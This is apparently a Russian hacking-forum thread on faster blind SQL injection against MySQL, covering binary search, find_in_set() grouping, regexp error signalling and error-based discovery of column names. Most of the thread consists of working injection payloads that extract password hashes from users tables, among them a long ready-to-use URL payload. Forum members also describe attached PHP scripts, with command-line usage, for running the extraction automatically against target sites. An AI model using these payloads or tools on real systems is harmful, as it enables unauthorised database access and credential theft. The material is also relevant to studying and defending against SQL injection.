![]() |
Быстрый Blind SQL Injection
Быстрый Blind SQL Injection.
[1] INTRO Основной проблемой при работе с Blind SQL Injection является огромное количество запросов, которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы. Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать. Я рассмотрю некоторые варианты. [2] Полный перебор всех символов (до 512 запросов на md5) Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так: PHP код:
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко. [3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5) - это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями. Принцип работы прост: 1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе. 2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа, с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1. 3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1. 4) Если символ не больше и не меньше, то мы как раз его и нашли. Например мы получаем хеш md5: Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f Допустим в БД лежит символ 'b' Запускаем процесс: 1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'. 2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос) 3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'. 4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос) 5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'. 6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос) 7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'. 8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос) 9) Код ни больше и не меньше, значит символ в БД = 'b' Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа. Пример реализации: PHP код:
- можно искать быстрее [4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet) Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',', возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.: Код:
mysql> SELECT FIND_IN_SET('b','a,b,c,d');Код:
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');В слепых скулях можно использовать так: Код:
news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')На практике, для использования нужно: 1) Выделить ключевые слова на страницах с нужными id 2) Отправить запросы с find_in_set для каждого символа из БД 3) Выяснить страницу с каким id мы получили и вывести на экран код символа. Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так. Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее, т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID) + высокая скорость работы (в идеальном случае) + не требует вывода ошибок - на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально - для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод) [5] Использование find_in_set() + more1row (~42 запроса на md5) Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра. Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса. В данный момент, наиболее часто используется запрос: Код:
SELECT 1 UNION SELECT 2Subquery returns more than 1 row Так же, ZaCo, нашёл альтернативный вариант запроса: Код:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/#1139 - Got error 'invalid repetition count(s)' from regexp. Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет: Код:
SELECT 1Примем это во внимание. Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос: Код:
select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))#1242 - Subquery returns more than 1 row ,а если не находится, то: #1139 - Got error 'invalid repetition count(s)' from regexp Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ. Расставим символы по группам так, чтобы минимизировать количество обращений к серверу. На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к. всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру: Код:
[01]: '0','b','c','d','e','f'В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа: Код:
[01]: '0'1) оптимально распределить символы алфавита по группам 2) по возвращённому коду ответа выяснить в какой группе находится символ из бд 3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1. Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так: Код:
sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1+ высокая скорость работы + универсален, как и more1row * Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме. - требует включеный вывод ошибок [6] Outro Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах. Кто знает что нам принесут новые версии известных СУБД. [7] Links При написании статьи использовалось: https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0 https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt https://forum.antichat.ru/showpost.p...9&postcount=11 - Использование ошибок regexp by ZaCo https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт) http://dev.mysql.com/sources/doxygen...8c-source.html - Ошибки regexp (сорцы MySql) |
Скрипт для работы через find_in_set() (метод - 4)
Вложений: 1
За основу взят скрипт c cih.ms, который написал +toxa+.
Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ. Алгоритм работы скрипта: 1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите. 2) Вычисляет ключевые слова для каждого из вариантов. 3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ]) 4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден. Описание: запуск из консоли в виде: Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]обязательные: url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно) field - имя столбца table - имя таблицы необязательные: [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись) [send_queries] - количество символов которое надо получить (по дефолту 32) [start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно. [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 . Пример: Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password usersКод:
Generating templates................ [OK]P.S. Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД. |
Скрипт для работы через find_in_set()+more1row (метод 5)
Вложений: 2
Генерация запросов:
2 ошибки обладают особенностями: 1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp" 2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса. Вложенные запросы скрипт генерирует сам. Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний): 1) Раскидывает по 1 букве алфавита на запрос, т.е. Код:
[1]:13) Если ещё остались не распиханые символы, идём на шаг 2. В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро. Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так: [1]:1,5,6,7 [2]:2,8 [3]:3 [4]:4 И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов. Для генерации запросов используется следующая структура: 1) Все запросы хранятся в массиве: Код:
$queries = array(Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт). 2) основной запрос обёртка прописывается так: Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";3) Подзапросы тут: Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках: Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));Работа со скриптом: Цитата:
обязательные: url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ) field - имя столбца table - имя таблицы необязательные: [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись) [send_queries] - количество символов которое надо получить (по дефолту 32) [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 . Пример: Цитата:
Цитата:
Цитата:
Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому. Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек. |
Интересно придумал с more1row (:
p.s. и все таки удобнее использовать Код:
select instr('0123456789abcdef', 'a');Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,); |
cr0w, find_in_set там по историческим мотивам :) Главное принцип :)
|
[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)
Можно ссылку на первоисточник? А то это какбы вариант моего https://forum.antichat.ru/thread117549.html метода |
Хм, ну значит вы дошли до этого метода независимо :) Пост был на cih.ms, но сейчас тот форум снова стал приватным.
З.Ы. Посмотрел, на сохранённую копию. В общем, +toxa+, madnet опередили тебя по крайней мере на год, просто их способ в паблике не всплывал. З.З.Ы. Посмотрел повнимательнее твой пост. По сути твой способ - недоработанный вариант их способа, почему недоработанный? Потому что у тебя не показан законченный вариант перебора, когда ты реально не знаешь какие значения лежат в полях. Код:
?news.php?news_id= |
128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)
128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)
ЮЮЮЮПППППИИИ, занимался переписыванием и оптимизацией своего скрипта для работы со слепыми инъекциями. Оптимизировал функцию поиска.... Подняв планку для бинарного поиска - теперь не до 160-170 запросов на мд5 хеш нужно, а ровно 128. Т.е. для мд5 это ровно 4 запроса на 1 символ. Пример функции: PHP код:
PHP код:
В последнем запросе проверка идёт уже относительно границы, а не среднего значения. |
3.4 запроса на получение цифрового символа (0-9)
3.4 запроса на получение цифрового символа (0-9)
Продолжая заниматься оптимизацией своего скрипта до шёл до такой обыденной штуковины, как определение длины возвращаемой строки. До этого момента использовал функцию для быстрой выдерки хешей (эта которая работает с символами 0-9a-f), задумался насколько это разумно - с одной стороны использовать меньший диапазон нельзя - там всего 8 символов, а у нас 10 (ведь работая с длиной мы получаем только цифры), а с другой выходит, что есть лишние проверки. Посмотрел как выглядят ascii коды нужных символов и вот, что получилось: Цитата:
Сделал функцию: PHP код:
|
From ROA with love
Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).
У меня есть таблицы: news(id,title,date) users(id,name,passwd,is_admin) Допустим мы имеем скуль: SELECT * FROM `news` WHERE id = [SQL] Хотим узнать имена столбцов в таблице users. Делаем это так: Шлём запрос: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a#1060 - Duplicate column name 'id' Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним. (А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё) Тогда шлём запрос: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a#1060 - Duplicate column name 'name' Тогда шлём: Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a#1060 - Duplicate column name 'passwd' И т.д., когда переберём все столбцы, вернётся: #1222 - The used SELECT statements have a different number of columns З.Ы. Если удалить всё ненужное, то получатся запросы: Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)aКод:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a |
| Время: 00:10 |